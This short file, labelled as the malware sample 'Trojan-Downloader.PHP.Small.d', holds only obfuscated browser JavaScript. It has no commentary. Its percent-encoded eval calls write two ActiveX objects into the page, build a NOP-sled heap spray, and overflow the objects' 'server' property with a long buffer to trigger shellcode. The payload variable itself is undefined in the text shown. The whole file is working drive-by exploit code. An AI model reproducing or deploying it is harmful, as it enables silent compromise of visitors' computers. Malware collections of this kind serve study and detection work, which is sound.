MalwareSourceCode/PHP/Trojan-Downloader.PHP.Small.d

if(!success){ eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%22%3c%6f%62%6a%65%63%74%20%63%6c%61%73%73%69%64%3d%27%63%6c%73%69%64%3a%44%43%45%32%46%38%42%31%2d%41%35%32%30%2d%31%31%44%34%2d%38%46%44%30%2d%30%30%44%30%42%37%37%33%30%32%37%37%27%20%69%64%3d%27%74%61%72%67%65%74%31%27%3e%3c%2f%6f%62%6a%65%63%74%3e%22%29%3b')); eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%22%3c%6f%62%6a%65%63%74%20%63%6c%61%73%73%69%64%3d%27%63%6c%73%69%64%3a%39%44%33%39%32%32%33%45%2d%41%45%38%45%2d%31%31%44%34%2d%38%46%44%33%2d%30%30%44%30%42%37%37%33%30%32%37%37%27%20%69%64%3d%27%74%61%72%67%65%74%32%27%3e%3c%2f%6f%62%6a%65%63%74%3e%22%29%3b')); eval(unescape('%76%61%72%20%73%68%65%6c%6c%63%6f%64%65%3d%75%6e%65%73%63%61%70%65%28%73%68%65%6c%6c%63%6f%2b%27%25%75%33%30%33%31%27%29%3b')); bigblock=unescape("%u9090%u9090"); slackspace=20+shellcode.length while(bigblock.length<slackspace)bigblock+=bigblock; fillblock=bigblock.substring(0,slackspace); block=bigblock.substring(0,bigblock.length-slackspace); while(block.length+slackspace<0x40000)block=block+block+fillblock; memory=new Array(); for(x=0;x<800;x++){memory[x]=block+shellcode} buffer='\x0a'; while(buffer.length<5000)buffer+='\x0a\x0a\x0a\x0a'; try{try{eval(unescape('%74%61%72%67%65%74%31%2e%73%65%72%76%65%72%3d%62%75%66%66%65%72%3b%74%61%72%67%65%74%31%2e%69%6e%69%74%69%61%6c%69%7a%65%28%29%3b%74%61%72%67%65%74%31%2e%73%65%6e%64%28%29'));} catch(e){eval(unescape('%74%61%72%67%65%74%32%2e%73%65%72%76%65%72%3d%62%75%66%66%65%72%3b%74%61%72%67%65%74%32%2e%72%65%63%65%69%76%65%28%29%3b'));}}catch(e){} }